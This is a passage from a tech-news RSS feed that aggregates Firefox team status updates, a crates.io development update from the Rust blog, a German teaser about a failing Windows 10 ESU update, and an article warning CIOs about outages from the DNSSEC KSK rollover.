<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205]]></title>
<description><![CDATA[Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting ...]]></description>
<link>https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:28 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1803575">Bug 1803575</a>) on Nightly.</li>
</ul>
<p><img alt='Firefox URL bar dropdown with "col" typed in, showing an eyedropper button labeled "Pick a color" below search suggestions.' class="aligncenter size-full wp-image-2084" height="358" src="https://blog.nightly.mozilla.org/files/2026/06/image1-3.png" width="724"></p>
<ul>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938333">released geckodriver 0.37.0</a>, which includes support for several new APIs and various bug fixes. See the <a href="https://github.com/mozilla/geckodriver/releases/tag/v0.37.0">release page for details</a>.</li>
<li>Starting from Firefox 153, access to local file: URLs is being restricted by default.
<ul>
<li>Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.</li>
<li>Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034168">Bug 2034168</a>).</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1941404%2C2039281%2C2024187%2C1674047%2C1986161%2C2043187%2C2019260%2C2027580%2C2027582%2C2041640%2C2039294%2C2042309%2C1830551%2C2031735%2C2043952%2C1972065%2C2043958%2C2042419%2C2042820%2C2022661%2C1994826%2C2041802%2C1315558%2C1930776%2C2042921%2C2043938">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>:Vincent</li>
<li>Chris Vander Linden</li>
<li>DrSeed</li>
<li>Khalid AlHaddad</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Francis :mckenfra: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1315558">tld service for webextensions</a></li>
<li>any1here: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042309">about:preferences#privacy is broken with MOZ_DATA_REPORTING false</a></li>
<li>pullmana8: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">Fix protocol/Actor.js to throw an Error instead of an Actor</a></li>
<li>RAN1: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1830551">Firefox Crashes on Quit When Running Two Browsers With Separate Profiles</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Accessibility</h4>
<ul>
<li>Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it <a href="https://firefox-source-docs.mozilla.org/bug-mgmt/processes/accessibility-review.html#automated-accessibility-review-skill">in the accessibility review source docs</a>.</li>
</ul>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042200"> Bug 2042200</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042204"> Bug 2042204</a></li>
<li>Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040971"> Bug 2040971</a></li>
<li>Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2043803"> Bug 2043803</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041393"> Bug 2041393</a></li>
<li>Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1751346"> Bug 1751346</a></li>
<li>Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1805205"> Bug 1805205</a>
<ul>
<li>Thanks to Mike Kaply for implementing this enterprise policy enhancement.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1653876"> Bug 1653876</a></li>
<li>Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1750196"> Bug 1750196</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=766005">Chris Vander Linden</a> made the Search input component shared as we plan to use it in the Netmonitor as well (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019260">#2019260</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027580">#2027580</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027582">#2027582</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=631103">pullmana8</a> improved error management in the DevTools protocol (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">#2031735</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=553004">Chris H-C :chutten</a> removed Legacy Telemetry devtools instrumentation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039650">#2039650</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=13647">:glob ✱</a> fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016778">#2016778</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> exposed heading level more clearly in the accessibility tree (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1588784">#1588784</a>) and in the accessibility highlighter (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044904">#2044904</a>)</li>
</ul>
<p><img alt='Accessibility panel in Firefox DevTools showing a selected "heading (level 3)" node named "Backwards compatibility."' class="aligncenter size-full wp-image-2083" height="375" src="https://blog.nightly.mozilla.org/files/2026/06/image2-3.png" width="727"></p>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028058">#2028058</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed an issue in Netmonitor search where it could appear the the search stalled (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042405">#2042405</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036404">#2036404</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1941404">allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently</a>.</li>
<li>Khalid AlHaddad updated our codebase to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1972065">use constants instead of hardcoded strings</a> for all our session data types.</li>
<li>Alexandra Borovova updated <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015655">the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers</a>.</li>
<li>Alexandra Borovova fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042385">a regression when there would be no “script.realmCreated” events after the cross-origin navigation</a>.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Dharma updated context search actions to trigger search instead of entering search mode @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1945080">1945080</a></li>
<li>Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041255">2041255</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030183">2030183</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019168">2019168</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044849">2044849</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033583">2033583</a></li>
<li>Moritz has worked on several refactorings to allow the urlbar to be used in content @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039828">2039828</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039298">2039298</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041280">2041280</a></li>
<li>Middle click paste replaces content was fixed by Moritz @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042893">2042893</a></li>
<li>Michel added feature to show registrable domain on desktop after its implementation on mobile @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986161">1986161</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 10 Rettungsanker kaputt: ESU-Update schlägt weiterhin fehl]]></title>
<description><![CDATA[Microsoft untersucht ein Problem, das bei der Installation des jüngsten Windows 10-Updates KB5068781 auftritt. Das Update ist Teil des Extended Security Updates (ESU) Programms und wurde am November Patch-Day veröffentlicht. (Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3693196/it-nachrichten/windows-10-rettungsanker-kaputt-esu-update-schlaegt-weiterhin-fehl/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693196/it-nachrichten/windows-10-rettungsanker-kaputt-esu-update-schlaegt-weiterhin-fehl/</guid>
<pubDate>Sat, 25 Jul 2026 08:23:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,154976.html"><img hspace="5" border="0" align="left" alt="Update, Windows 10, Fehler, Beta, Bug, Entwicklung, Schadsoftware, Fehlerbehebung, Bugs, Absturz, Crash, Error, Bluescreen, Update Fehler, Windows 10 bugs, Windows 10 Bug, Fehlercode, Windows 10 Fehler, Baustelle, Bauarbeiter, Windows 10 Bluescreen, Vorab, Reperatur" width="128" height="72" src="https://i.wfcdn.de/teaser/128/37058.jpg"></a>Microsoft untersucht ein Problem, das bei der Installation des jüngsten <a href="https://winfuture.de/special/windows10/" title="Windows 10 Special">Windows 10-Updates</a> KB5068781 auftritt. Das Update ist Teil des Extended Security Updates (ESU) Programms und wurde am November Patch-Day veröffentlicht. (<a href="https://winfuture.de/news,154976.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



